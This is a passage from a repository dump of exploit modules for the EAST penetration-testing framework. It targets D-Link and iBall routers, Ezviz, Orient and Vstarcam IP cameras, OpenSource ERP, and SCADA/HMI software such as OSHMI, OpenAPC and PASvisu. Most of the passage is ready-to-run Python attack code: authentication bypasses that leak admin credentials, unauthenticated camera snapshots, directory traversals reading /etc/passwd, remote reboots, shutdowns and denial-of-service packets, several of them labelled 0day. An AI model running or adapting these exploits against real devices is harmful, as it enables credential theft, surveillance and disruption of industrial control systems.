'
48 |
49 | server = SimpleWebServer(self.host, self.port)
50 | server.add_file_for_share("index.html", html)
51 | server.start_serve()
52 |
53 | self.log('Ok. Now trick user who runs baidu netdisk visit your address http://{}:{}/index.html'.format(self.host, self.port))
54 | self.log('Wait connection for 120s')
55 | time.sleep(120)
56 |
57 | server.stop_serve()
58 | self.log('Server stopped. If user visited your page his netdisk crashed')
59 | self.log('Done')
60 | self.finish(True)
61 |
62 | if __name__ == '__main__':
63 | """
64 | By now we only have the tool mode for exploit..
65 | Later we would have standalone mode also.
66 | """
67 |
68 | print "Running exploit %s .. " % INFO['NAME']
69 | e = exploit('', 80)
70 | e.run()
71 |
--------------------------------------------------------------------------------
/3rdParty/ef_armo_pack_demo/exploits/efa_dlink_dir8xx_pd.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | # -*- coding: utf_8 -*-
3 | # The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
4 |
5 | import sys
6 | import os
7 | import urllib2
8 | import time
9 |
10 | sys.path.append("./core")
11 | from Sploit import Sploit
12 |
13 | INFO = {}
14 | INFO['NAME'] = "efa_dlink_dir8xx_pd"
15 | INFO['DESCRIPTION'] = "D-Link DIR8xx routers - credential disclosure vulnerability."
16 | INFO['VENDOR'] = "http://www.dlink.ru/"
17 | INFO['DOWNLOAD_LINK'] = ''
18 | INFO['LINKS'] = ['https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin']
19 | INFO["CVE Name"] = ""
20 | INFO["NOTES"] = """
21 | - DIR885L
22 | - DIR890L
23 | - DIR895L
24 | - and others.
25 | phpcgi is responsible for processing requests to .php, .asp and .txt pages. Also, it checks whether a user is authorized or not. Nevertheless, if a request is crafted in a proper way, an attacker can easily bypass authorization and execute a script that returns a login and password to a router.
26 | """
27 |
28 | INFO['CHANGELOG'] = "19 Sep, 2017. Written by Gleg team."
29 | INFO['PATH'] = 'Exploits/Hardware/'
30 |
31 | # Must be in every module, to be set by framework
32 | OPTIONS = {}
33 | OPTIONS['HOST'] = '127.0.0.1', dict(description = 'Target IP')
34 | OPTIONS["PORT"] = 80
35 |
36 | class exploit(Sploit):
37 | def __init__(self, host = "", port = 0, logger = None):
38 | Sploit.__init__(self, logger = logger)
39 | self.name = INFO['NAME']
40 | self.port = port
41 | self.host = host
42 |
43 | def args(self):
44 | self.args = Sploit.args(self, OPTIONS)
45 | self.port = int(self.args.get('PORT', self.port))
46 | self.host = self.args.get('HOST', self.host)
47 |
48 | def make_url(self, path = ''):
49 | return 'http://{}:{}{}'.format(self.host, self.port, path)
50 |
51 | def run(self):
52 | self.args()
53 | self.log("Attacking {}".format(self.host))
54 |
55 | url = self.make_url('/getcfg.php')
56 | data = 'A=A%0a_POST_SERVICES%3dDEVICE.ACCOUNT%0aAUTHORIZED_GROUP%3d1'
57 | request = urllib2.Request(url, data)
58 | try:
59 | fd = urllib2.urlopen(request)
60 | result = fd.read()
61 | self.log(result)
62 | except Exception as e:
63 | self.log(e)
64 | self.finish(False)
65 | self.finish(True)
66 |
67 | if __name__ == '__main__':
68 | """
69 | By now we only have the tool mode for exploit..
70 | Later we would have standalone mode also.
71 | """
72 |
73 | print "Running exploit %s .. " % INFO['NAME']
74 | e = exploit('', 80)
75 | e.run()
76 |
--------------------------------------------------------------------------------
/3rdParty/ef_armo_pack_demo/exploits/efa_ezviz_cs_cv210_ipcamera_snapshot.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 | from collections import OrderedDict
5 |
6 | from Sploit import Sploit
7 |
8 | INFO = {}
9 | INFO['NAME'] = "efa_ezviz_cs_cv210_ipcamera_snapshot"
10 | INFO['DESCRIPTION'] = "Hikvision Ezviz CS-CV210(C3s) Snapshot"
11 | INFO['VENDOR'] = "http://www.ezvizlife.com/"
12 | INFO["CVE Name"] = "0day"
13 | INFO["NOTES"] = """
14 | Remote attaker can make snapshot. Authorization is not required.
15 | Tested against Ezviz CS-CV210 firmware v5.2.7.
16 | """
17 | INFO["DOWNLOAD_LINK"] = ""
18 | INFO["LINKS"] = []
19 | INFO['CHANGELOG']="12 Apr, 2017"
20 | INFO['PATH'] = "General/"
21 |
22 | # Must be in every module, to be set by framework
23 | OPTIONS = OrderedDict()
24 | OPTIONS["HOST"] = "192.168.1.45"
25 | OPTIONS["PORT"] = 80
26 |
27 |
28 | class exploit(Sploit):
29 | def __init__(self,host="",
30 | port=0, ssl=False,
31 | logger=None):
32 | Sploit.__init__(self, logger=logger)
33 |
34 | def args(self):
35 | self.args = Sploit.args(self, OPTIONS)
36 | self.host = self.args.get("HOST", OPTIONS["HOST"])
37 | self.port = self.args.get("PORT", OPTIONS["PORT"])
38 |
39 | def make_url(self, path=''):
40 | return 'http://%s:%s/%s' % (self.host, self.port, path)
41 |
42 | def make_request(self, path=''):
43 | url = self.make_url(path)
44 | res = urllib2.urlopen(url)
45 | return res.read()
46 |
47 | def run(self):
48 | #Get options from gui
49 | self.args()
50 | self.log('[*] Trying to get snapshot')
51 | res = self.make_request('onvif/snapshot')
52 | self.logImage(res)
53 | self.finish(True)
54 |
55 |
56 | if __name__ == '__main__':
57 | """
58 | By now we only have the tool
59 | mode for exploit..
60 | Later we would have
61 | standalone mode also.
62 | """
63 | print "Running exploit %s .. " % INFO['NAME']
64 | e = exploit("192.168.0.1",80)
65 | e.run()
66 |
--------------------------------------------------------------------------------
/3rdParty/ef_armo_pack_demo/exploits/efa_iball_adsl2_router_rr.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | # -*- coding: utf_8 -*-
3 | # The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
4 |
5 | import sys
6 | import os
7 | import urllib2
8 | import time
9 |
10 | sys.path.append("./core")
11 | from Sploit import Sploit
12 |
13 | INFO = {}
14 | INFO['NAME'] = "efa_iball_adsl2_router_rr"
15 | INFO['DESCRIPTION'] = "iBall ADSL2+ Home Router - Reset Router"
16 | INFO['VENDOR'] = "https://www.iball.co.in"
17 | INFO['DOWNLOAD_LINK'] = ''
18 | INFO['LINKS'] = ['http://0day.today/exploit/28572']
19 | INFO["CVE Name"] = ""
20 | INFO["NOTES"] = """
21 | iBall ADSL2+ Home Router does not properly authenticate when pages are accessed through cgi version. Firmware version: FW_iB-LR7011A_1.0.2
22 | """
23 |
24 | INFO['CHANGELOG'] = "20 Sep, 2017. Written by Gleg team."
25 | INFO['PATH'] = 'Exploits/Hardware/'
26 |
27 | # Must be in every module, to be set by framework
28 | OPTIONS = {}
29 | OPTIONS['HOST'] = '127.0.0.1', dict(description = 'Target IP')
30 | OPTIONS["PORT"] = 80
31 |
32 | class exploit(Sploit):
33 | def __init__(self, host = "", port = 0, logger = None):
34 | Sploit.__init__(self, logger = logger)
35 | self.name = INFO['NAME']
36 | self.port = port
37 | self.host = host
38 |
39 | def args(self):
40 | self.args = Sploit.args(self, OPTIONS)
41 | self.port = int(self.args.get('PORT', self.port))
42 | self.host = self.args.get('HOST', self.host)
43 |
44 | def make_url(self, path = ''):
45 | return 'http://{}:{}{}'.format(self.host, self.port, path)
46 |
47 | def run(self):
48 | self.args()
49 | self.log("Attacking {}".format(self.host))
50 |
51 | #url = self.make_url('/info.cgi')
52 | #try:
53 | # fd = urllib2.urlopen(url)
54 | # self.log(fd.read())
55 | #except Exception as e:
56 | # self.log(e)
57 | # self.finish(False)
58 |
59 | url = self.make_url('/resetrouter.cgi')
60 | request = urllib2.Request(url)
61 | try:
62 | fd = urllib2.urlopen(request)
63 | result = fd.read()
64 | except Exception as e:
65 | self.log(e)
66 | self.finish(False)
67 | self.log('The DSL Router is rebooting.')
68 | self.finish(True)
69 |
70 | if __name__ == '__main__':
71 | """
72 | By now we only have the tool mode for exploit..
73 | Later we would have standalone mode also.
74 | """
75 |
76 | print "Running exploit %s .. " % INFO['NAME']
77 | e = exploit('', 80)
78 | e.run()
79 |
--------------------------------------------------------------------------------
/3rdParty/ef_armo_pack_demo/exploits/efa_orient_ip33_sh14cp_snapshot.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 | import urllib
5 | import os
6 | import struct
7 | import tarfile
8 | import base64
9 | from cStringIO import StringIO
10 | import time
11 | from collections import OrderedDict
12 | from core.WebHelper import FormPoster
13 | from Sploit import Sploit
14 |
15 | INFO = {}
16 | INFO['NAME'] = "efa_orient_ip33_sh14cp_snapshot"
17 | INFO['DESCRIPTION'] = "Orient IP-33-SH14CP IP Camera Snapshot"
18 | INFO['VENDOR'] = "http://www.orientrus.ru/"
19 | INFO["CVE Name"] = "0day"
20 | INFO["DOWNLOAD_LINK"] = ""
21 | INFO["LINKS"] = []
22 | INFO['CHANGELOG'] = "12 May, 2017"
23 | INFO['PATH'] = "General/"
24 | INFO["NOTES"] = """
25 | Unauthorized attacker can make snapshot.
26 | Tested against firmware 3518C_IMX225_W_6.1.23.2_A3.
27 | """
28 |
29 | # Must be in every module, to be set by framework
30 | OPTIONS = OrderedDict()
31 | OPTIONS["HOST"] = "192.168.1.13"
32 | OPTIONS["PORT"] = 80
33 |
34 |
35 | class exploit(Sploit):
36 | def __init__(self,host="",
37 | port=0, ssl=False,
38 | logger=None):
39 | Sploit.__init__(self, logger=logger)
40 |
41 | def args(self):
42 | self.args = Sploit.args(self, OPTIONS)
43 | self.host = self.args.get("HOST", OPTIONS["HOST"])
44 | self.port = self.args.get("PORT", OPTIONS["PORT"])
45 |
46 | def make_url(self, path=''):
47 | url = 'http://{}:{}/{}'.format(self.host, self.port, path)
48 | return url
49 |
50 | def run(self):
51 | #Get options from gui
52 | self.args()
53 | self.log("[*] Trying to connect to {}".format(self.make_url()))
54 | url = self.make_url('snap.jpg')
55 | res = urllib2.urlopen(url).read()
56 | self.logImage(res)
57 | self.finish(True)
58 |
59 |
60 | if __name__ == '__main__':
61 | """
62 | By now we only have the tool
63 | mode for exploit..
64 | Later we would have
65 | standalone mode also.
66 | """
67 | print "Running exploit %s .. " % INFO['NAME']
68 | e = exploit("192.168.0.1",80)
69 | e.run()
70 |
--------------------------------------------------------------------------------
/3rdParty/ef_armo_pack_demo/exploits/efa_tp_link_tl_wa850re_rr.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | # -*- coding: utf_8 -*-
3 | # The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
4 |
5 | import sys
6 | import os
7 | import urllib2
8 | import time
9 |
10 | sys.path.append("./core")
11 | from Sploit import Sploit
12 |
13 | INFO = {}
14 | INFO['NAME'] = "efa_tp_link_tl_wa850re_rr"
15 | INFO['DESCRIPTION'] = "TP-Link Technologies TL-WA850RE Wi-Fi Range Extender - Unauthorized Remote Reboot"
16 | INFO['VENDOR'] = "https://www.tp-link.com/"
17 | INFO['DOWNLOAD_LINK'] = ''
18 | INFO['LINKS'] = ['https://packetstormsecurity.com/files/147397/TP-Link-Technologies-TL-WA850RE-Wi-Fi-Range-Extender-Unauthorized-Remote-Reboot.html']
19 | INFO["CVE Name"] = ""
20 | INFO["NOTES"] = """
21 | TP-Link Technologies TL-WA850RE Wi-Fi Range Extender suffers from an unauthorized remote reboot vulnerability.
22 | """
23 |
24 | INFO['CHANGELOG'] = "28 Apr, 2018. Written by Gleg team."
25 | INFO['PATH'] = 'Exploits/Hardware/'
26 |
27 | # Must be in every module, to be set by framework
28 | OPTIONS = {}
29 | OPTIONS['HOST'] = '127.0.0.1', dict(description = 'Target IP')
30 | OPTIONS["PORT"] = 80
31 |
32 | class exploit(Sploit):
33 | def __init__(self, host = "", port = 0, logger = None):
34 | Sploit.__init__(self, logger = logger)
35 | self.name = INFO['NAME']
36 | self.port = port
37 | self.host = host
38 |
39 | def args(self):
40 | self.args = Sploit.args(self, OPTIONS)
41 | self.port = int(self.args.get('PORT', self.port))
42 | self.host = self.args.get('HOST', self.host)
43 |
44 | def make_url(self, path = ''):
45 | return 'http://{}:{}{}'.format(self.host, self.port, path)
46 |
47 | def run(self):
48 | self.args()
49 | self.log("Attacking {}".format(self.host))
50 |
51 | url = self.make_url('/data/reboot.json')
52 | data = 'operation=write'
53 |
54 | request = urllib2.Request(url, data)
55 | request.add_header('X-Requested-With', 'XMLHttpRequest')
56 | request.add_header('Accept', 'application/json, text/javascript, */*;')
57 | request.add_header('Cookie', 'COOKIE=')
58 | try:
59 | fd = urllib2.urlopen(request)
60 | result = fd.read()
61 | except Exception as e:
62 | self.log(e)
63 | self.finish(False)
64 | self.log('Router is rebooting.')
65 | self.finish(True)
66 |
67 | if __name__ == '__main__':
68 | """
69 | By now we only have the tool mode for exploit..
70 | Later we would have standalone mode also.
71 | """
72 |
73 | print "Running exploit %s .. " % INFO['NAME']
74 | e = exploit('', 80)
75 | e.run()
76 |
--------------------------------------------------------------------------------
/3rdParty/ef_armo_pack_demo/exploits/efa_uc_httpd_directory_traversal.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 | import httplib
5 | import sys
6 | httplib.HTTPConnection._http_vsn = 10
7 | httplib.HTTPConnection._http_vsm_str = 'HTTP/1.0'
8 | from collections import OrderedDict
9 | from Sploit import Sploit
10 |
11 | INFO = {}
12 | INFO['NAME'] = "efa_uc_httpd_directory_traversal"
13 | INFO['DESCRIPTION'] = "uc-httpd Daemon Directory Traversal/LFI"
14 | INFO['VENDOR'] = ""
15 | INFO["CVE Name"] = ""
16 | INFO["DOWNLOAD_LINK"] = ""
17 | INFO["LINKS"] = []
18 | INFO['CHANGELOG']="03 Apr, 2017. Written by Gleg team."
19 | INFO['PATH'] = "General/"
20 | INFO["NOTES"] = """
21 | uc-httpd is a HTTP daemon used by a wide array of IoT devices (primarily security cameras) which is vulnerable
22 | to local file inclusion and directory traversal bugs. There are a few million total vulnerable devices, with
23 | around one million vulnerable surviellence cameras.
24 |
25 | The following request can be made to display the contents of the 'passwd' file:
26 | GET ../../../../../etc/passwd HTTP/1.0
27 |
28 | To display a directory listing, the following request can be made:
29 | GET ../../../../../var/www/html/ HTTP/1.0
30 | The above request would output the contents of the webroot directory as if 'ls' command was executed
31 | """
32 |
33 | # Must be in every module, to be set by framework
34 | OPTIONS = OrderedDict()
35 | OPTIONS["HOST"] = "192.168.1.2"
36 | OPTIONS["PORT"] = 8000
37 | OPTIONS["FILENAME"] = '../../../../../etc/passwd'
38 |
39 |
40 | class exploit(Sploit):
41 | def __init__(self,host="",
42 | port=0, ssl=False,
43 | logger=None):
44 | Sploit.__init__(self, logger=logger)
45 |
46 | def args(self):
47 | self.args = Sploit.args(self, OPTIONS)
48 | self.host = self.args.get("HOST", OPTIONS["HOST"])
49 | self.port = self.args.get("PORT", OPTIONS["PORT"])
50 | self.filename = self.args.get("FILENAME", OPTIONS["FILENAME"])
51 |
52 | def make_req(self, path=''):
53 | url = 'http://%s:%s/%s' % (self.host, self.port, path)
54 | res = urllib2.urlopen(url).read()
55 | return res
56 |
57 | def run(self):
58 | #Get options from gui
59 | self.args()
60 | self.log('[*] Connecting to %s:%s' % (self.host, self.port))
61 | self.make_req()
62 | self.log('[*] Getting contents of %s' % self.filename)
63 | res = self.make_req(self.filename)
64 | self.log(res)
65 | self.finish(True)
66 |
67 |
68 | if __name__ == '__main__':
69 | """
70 | By now we only have the tool
71 | mode for exploit..
72 | Later we would have
73 | standalone mode also.
74 | """
75 | print "Running exploit %s .. " % INFO['NAME']
76 | e = exploit("192.168.0.1",80)
77 | e.run()
78 |
--------------------------------------------------------------------------------
/3rdParty/ef_armo_pack_demo/exploits/efa_vstarcom_ip_camera_info_disclosure.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import socket
4 | import httplib
5 | from collections import OrderedDict
6 |
7 | from Sploit import Sploit
8 |
9 | INFO = {}
10 | INFO['NAME'] = "efa_vstarcom_ip_camera_info_disclosure"
11 | INFO['DESCRIPTION'] = "Vstarcam T6892 Information Disclosure"
12 | INFO['VENDOR'] = "http://www.vstarcam.com/"
13 | INFO["CVE Name"] = "2017-5674"
14 | INFO["NOTES"] = """
15 | Vulnerability allows to get admin credentials.
16 | """
17 | INFO["DOWNLOAD_LINK"] = ""
18 | INFO["LINKS"] = []
19 | INFO['CHANGELOG']="13 Apr, 2017"
20 | INFO['PATH'] = "General/"
21 |
22 | # Must be in every module, to be set by framework
23 | OPTIONS = OrderedDict()
24 | OPTIONS["HOST"] = "192.168.1.42"
25 | OPTIONS["PORT"] = 81
26 |
27 |
28 | class exploit(Sploit):
29 | def __init__(self,host="",
30 | port=0, ssl=False,
31 | logger=None):
32 | Sploit.__init__(self, logger=logger)
33 |
34 | def args(self):
35 | self.args = Sploit.args(self, OPTIONS)
36 | self.host = self.args.get("HOST", OPTIONS["HOST"])
37 | self.port = self.args.get("PORT", OPTIONS["PORT"])
38 |
39 | def run(self):
40 | #Get options from gui
41 | self.args()
42 | self.log("[*] Connecting to %s:%s" % (self.host, self.port))
43 | h1 = httplib.HTTPConnection(self.host, self.port)
44 | h1.request('GET', 'login.cgi')
45 | r1 = h1.getresponse().read()
46 | self.log('[+] Admin credentials are:\r\n%s' % r1)
47 | self.finish(True)
48 |
49 |
50 | if __name__ == '__main__':
51 | """
52 | By now we only have the tool
53 | mode for exploit..
54 | Later we would have
55 | standalone mode also.
56 | """
57 | print "Running exploit %s .. " % INFO['NAME']
58 | e = exploit("192.168.0.1",80)
59 | e.run()
60 |
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/LICENSE.txt:
--------------------------------------------------------------------------------
1 | https://www.gnu.org/licenses/gpl-3.0.txt
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/changelog.txt:
--------------------------------------------------------------------------------
1 |
2 | 1.0
3 | September 18, 2022
4 |
5 | efa_delta_mcis_upsentry2012_info_disclosure.py
6 | efa_open_source_erp_arbitrary_sql_execution.py
7 | efa_open_source_erp_dir_trav.py
8 | efs_advantech_webaccess_8_3_2_dashboardconfig_afd.py
9 | efs_advantech_webaccess_8_3_2_dashboard_bsqli.py
10 | efs_advantech_webaccess_8_3_directory_traversal.py
11 | efs_advantech_webaccess_8_3_file_delete.py
12 | efs_advantech_webaccess_dashboardeditor_afd.py
13 | efs_atvise_3_2_afd.py
14 | efs_atvise_3_2_info_disclosure.py
15 | efs_autobase_netserver_dos.py
16 | efs_Becknoff_CX9020_Reboot.py
17 | efs_cogent_datahub_7_3_x_dos.py
18 | efs_delta_DIAEnergie_info_disclosure.py
19 | efs_DELTA_IA_Robot_DRAstudio_afd.py
20 | efs_DoMore_Designer_afd.py
21 | efs_eisbaer_scada_directory_traversal2.py
22 | efs_eisbaer_scada_dt.py
23 | efs_Elipse_E3_e3server_remote_stop.py
24 | efs_esa_automation_crew_webserver_dir_trav.py
25 | efs_GP_PRO_EX_WinGP_Runtime_afd.py
26 | efs_indigo_scada_information_disclosure.py
27 | efs_inductive_automation_7_6_4_designer_xxe.py
28 | efs_inductive_automation_ignition_7_5_4_bSQLi.py
29 | efs_inductive_automation_ignition_7_5_4_xxe.py
30 | efs_infrasightlabs_vscopeserver_privilege_escalation.py
31 | efs_IPESOFT_D2000_SCADA_DirTrav.py
32 | efs_kingscada_aeserver_dos.py
33 | efs_laquis_scada_directory_traversal.py
34 | efs_logi_cals_logi_RTS_dir_trav.py
35 | efs_logi_cals_logi_RTS_RTShttpd_DoS.py
36 | efs_loytec_lweb900_server_dir_trav.py
37 | efs_lsis_wXP_DoS.py
38 | efs_lsis_XP_Manager_DoS.py
39 | efs_moxa_mxview_dos.py
40 | efs_OpenAPC_BeamServer_DoS.py
41 | efs_OSHMI_remote_shutdown.py
42 | efs_PASvisu_dos.py
43 | efs_PeakHMI_Webserver_DirTrav.py
44 | efs_promotic_scada_dos.py
45 | efs_quickhmi_directory_traversal.py
46 | efs_rcware_dos.py
47 | efs_reliance_scada_directory_traversal.py
48 | efs_s3scada_remote_stop.py
49 | efs_SpiderControl_SCADA_Editor_DirTrav.py
50 | efs_trihedral_vtscada_dos.py
51 | efs_u_motion_builder_hardcoded_credentials.py
52 | efs_vbase_vokserver_info_disclosure.py
53 | efs_winplc7_webserver_arbitrary_file_disclosure.py
54 | efs_wintr_scada_hardcoded_credentials_directory_traversal.py
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efa_open_source_erp_dir_trav.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import urllib2
3 | import cookielib
4 | import json
5 | from collections import OrderedDict
6 |
7 |
8 | from Sploit import Sploit
9 |
10 | INFO = {}
11 | INFO['NAME'] = "efa_open_source_erp_dir_trav"
12 | INFO['DESCRIPTION'] = "OpenSource ERP Directory Traversal"
13 | INFO['VENDOR'] = "http://www.nelson-it.ch/"
14 | INFO["CVE Name"] = "0day"
15 | INFO["DOWNLOAD_LINK"] = "http://www.nelson-it.ch/download/"
16 | INFO["LINKS"] = []
17 | INFO['CHANGELOG'] = "1 Jun, 2018"
18 | INFO['PATH'] = "WEB/"
19 | INFO["NOTES"] = """
20 | Remote attacker can read arbitrary files on server using '\..' combination.
21 | Tested against OpenSource ERP 6.3.0 on Windows 7 x64 SP1.
22 | """
23 |
24 | # Must be in every module, to be set by framework
25 | OPTIONS = OrderedDict()
26 | OPTIONS["HOST"] = "192.168.1.103"
27 | OPTIONS["PORT"] = 8024
28 | OPTIONS["FILENAME"] = "windows/win.ini"
29 |
30 |
31 | class exploit(Sploit):
32 | def __init__(self,host="",
33 | port=0, ssl=False,
34 | logger=None):
35 | Sploit.__init__(self, logger=logger)
36 | self.payload = ""
37 |
38 | def args(self):
39 | self.args = Sploit.args(self, OPTIONS)
40 | self.host = self.args.get("HOST", OPTIONS["HOST"])
41 | self.port = self.args.get("PORT", OPTIONS["PORT"])
42 | self.filename = self.args.get("FILENAME", OPTIONS["FILENAME"]).replace('/', '\\')
43 |
44 | def make_url(self, path=''):
45 | url = 'http://{}:{}/'.format(self.host, self.port) + path
46 | return url
47 |
48 | def run(self):
49 | # Get options from gui
50 | self.args()
51 | self.log('[*] Trying to recieve ' + self.filename)
52 | url = self.make_url('main/login/' + '..\\'*8 + self.filename)
53 | res = urllib2.urlopen(url).read()
54 | if res < 15000:
55 | self.log(res)
56 | self.writefile(res, self.filename.replace('\\', '/').split('/').pop())
57 | self.log(res)
58 | self.finish(True)
59 |
60 |
61 | if __name__ == '__main__':
62 | """
63 | By now we only have the tool
64 | mode for exploit..
65 | Later we would have
66 | standalone mode also.
67 | """
68 | print "Running exploit %s .. " % INFO['NAME']
69 | e = exploit("192.168.0.1",80)
70 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_OSHMI_remote_shutdown.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 | import json
5 | import socket
6 | import time
7 | from collections import OrderedDict
8 | from Sploit import Sploit
9 |
10 |
11 | INFO = {}
12 | INFO['NAME'] = "efs_OSHMI_remote_shutdown"
13 | INFO['DESCRIPTION'] = "OSHMI remote shutdown"
14 | INFO['VENDOR'] = "https://sourceforge.net/projects/oshmiopensubstationhmi/"
15 | INFO["CVE Name"] = "0day"
16 | INFO["DOWNLOAD_LINK"] = "https://sourceforge.net/projects/oshmiopensubstationhmi/"
17 | INFO["LINKS"] = []
18 | INFO['CHANGELOG'] = "7 Jun, 2018"
19 | INFO['PATH'] = "General/"
20 | INFO["NOTES"] = """
21 | Specially crafted HTTP request allows to shutdown webserver. Authentication is not required.
22 | Tested against OSHMI 4.15 on Windows 7 SP1 x64.
23 | """
24 |
25 | # Must be in every module, to be set by framework
26 | OPTIONS = OrderedDict()
27 | OPTIONS["HOST"] = "192.168.1.103"
28 | OPTIONS["PORT"] = 51909
29 |
30 |
31 | class exploit(Sploit):
32 | def __init__(self, host="",
33 | port=0, ssl=False,
34 | logger=None):
35 | Sploit.__init__(self, logger=logger)
36 | self.name = INFO['NAME']
37 |
38 | def args(self):
39 | self.args = Sploit.args(self, OPTIONS)
40 | self.host = self.args.get("HOST", OPTIONS["HOST"])
41 | self.port = self.args.get("PORT", OPTIONS["PORT"])
42 |
43 | def make_url(self, path=''):
44 | url = "http://%s:%s/%s" % (self.host, self.port, path)
45 | return url
46 |
47 | def run(self):
48 | # Get options from gui
49 | self.args()
50 | self.log('[*] Sending shutdown request')
51 | url = self.make_url('htdocs/shellapi.rjs?Y')
52 | res = urllib2.urlopen(url).read()
53 | if 'error' in res and 'none' in res:
54 | self.log('[+] Request successfully executed')
55 | else:
56 | self.log('[-] Request execution failed')
57 | self.log('[*] Checking service')
58 | time.sleep(5)
59 | try:
60 | res = urllib2.urlopen(url, timeout=10)
61 | except socket.timeout as e:
62 | self.log('[+] Service not responds')
63 | self.finish(True)
64 | self.finish(False)
65 |
66 |
67 | if __name__ == '__main__':
68 | """
69 | By now we only have the tool
70 | mode for exploit..
71 | Later we would have
72 | standalone mode also.
73 | """
74 | print "Running exploit %s .. " % INFO['NAME']
75 | e = exploit("192.168.0.1", 80)
76 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_OpenAPC_BeamServer_DoS.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import socket
4 | import time
5 | from collections import OrderedDict
6 | from Sploit import Sploit
7 |
8 |
9 | INFO = {}
10 | INFO['NAME'] = "efs_OpenAPC_BeamServer_DoS"
11 | INFO['DESCRIPTION'] = "OpenAPC BeamServer DoS"
12 | INFO['VENDOR'] = "https://www.openapc.com/"
13 | INFO["CVE Name"] = "0day"
14 | INFO["DOWNLOAD_LINK"] = "https://www.openapc.com/download.php"
15 | INFO["LINKS"] = []
16 | INFO['CHANGELOG'] = "8 Jun, 2018"
17 | INFO['PATH'] = "General/"
18 | INFO["NOTES"] = """
19 | Specially crafted TCP request crashes BeamServer.exe.
20 | Tested against OpenAPC 5.3-1 on Windows 7 SP1 x64.
21 | """
22 |
23 | # Must be in every module, to be set by framework
24 | OPTIONS = OrderedDict()
25 | OPTIONS["HOST"] = "192.168.1.103"
26 | OPTIONS["PORT"] = 11350
27 |
28 |
29 | class exploit(Sploit):
30 | def __init__(self, host="",
31 | port=0, ssl=False,
32 | logger=None):
33 | Sploit.__init__(self, logger=logger)
34 | self.name = INFO['NAME']
35 |
36 | def args(self):
37 | self.args = Sploit.args(self, OPTIONS)
38 | self.host = self.args.get("HOST", OPTIONS["HOST"])
39 | self.port = self.args.get("PORT", OPTIONS["PORT"])
40 |
41 | def run(self):
42 | # Get options from gui
43 | self.args()
44 | self.log('[*] Testing connection to BeamServer')
45 | s = socket.socket()
46 | s.connect((self.host, self.port))
47 | self.log('[*] Sending DoS packet')
48 | s.send('CmdListName\r\n')
49 | self.log('[*] Checking BeamServer...')
50 | time.sleep(5)
51 | try:
52 | s.connect((self.host, self.port))
53 | except:
54 | self.log('[+] Service not responds')
55 | self.finish(True)
56 | self.log('[-] Service is still alive')
57 | self.finish(False)
58 |
59 |
60 | if __name__ == '__main__':
61 | """
62 | By now we only have the tool
63 | mode for exploit..
64 | Later we would have
65 | standalone mode also.
66 | """
67 | print "Running exploit %s .. " % INFO['NAME']
68 | e = exploit("192.168.0.1", 80)
69 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_PASvisu_dos.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import urllib2
4 | import socket
5 | from collections import OrderedDict
6 | from Sploit import Sploit
7 |
8 |
9 | INFO = {}
10 | INFO['NAME'] = "efs_PASvisu_dos"
11 | INFO['DESCRIPTION'] = "Pilz PASvisu DoS"
12 | INFO['VENDOR'] = "https://www.pilz.com"
13 | INFO["CVE Name"] = "0day"
14 | INFO["DOWNLOAD_LINK"] = ""
15 | INFO["LINKS"] = []
16 | INFO['CHANGELOG'] = "22 Sep, 2017"
17 | INFO['PATH'] = "General/"
18 | INFO["NOTES"] = """
19 | Specially crafted TCP request cause DoS. Authentication is not required.
20 | Tested against PASvisu 1.4 on Windows 7 SP1 x64.
21 | """
22 |
23 | # Must be in every module, to be set by framework
24 | OPTIONS = OrderedDict()
25 | OPTIONS["HOST"] = "192.168.1.176"
26 | OPTIONS["PORT"] = 40856
27 |
28 |
29 | class exploit(Sploit):
30 | def __init__(self, host="",
31 | port=0, ssl=False,
32 | logger=None):
33 | Sploit.__init__(self, logger=logger)
34 | self.name = INFO['NAME']
35 |
36 | def args(self):
37 | self.args = Sploit.args(self, OPTIONS)
38 | self.host = self.args.get("HOST", OPTIONS["HOST"])
39 | self.port = self.args.get("PORT", OPTIONS["PORT"])
40 |
41 | def make_url(self, path=''):
42 | url = "http://%s:%s/%s" % (self.host, self.port, path)
43 | return url
44 |
45 | def run(self):
46 | # Get options from gui
47 | self.args()
48 | self.log('[*] Sending DoS request')
49 | url = self.make_url('license_update/export')
50 | try:
51 | res = urllib2.urlopen(url, timeout=10)
52 | except socket.timeout as e:
53 | self.log('[+] Server not responds')
54 | self.finish(True)
55 | self.finish(False)
56 |
57 |
58 | if __name__ == '__main__':
59 | """
60 | By now we only have the tool
61 | mode for exploit..
62 | Later we would have
63 | standalone mode also.
64 | """
65 | print "Running exploit %s .. " % INFO['NAME']
66 | e = exploit("192.168.0.1", 80)
67 | e.run()
--------------------------------------------------------------------------------
/3rdParty/ef_scada_pack_demo/exploits/efs_autobase_netserver_dos.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | # -*- coding: utf_8 -*-
3 | # The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
4 |
5 | import sys
6 | import time
7 | import socket
8 |
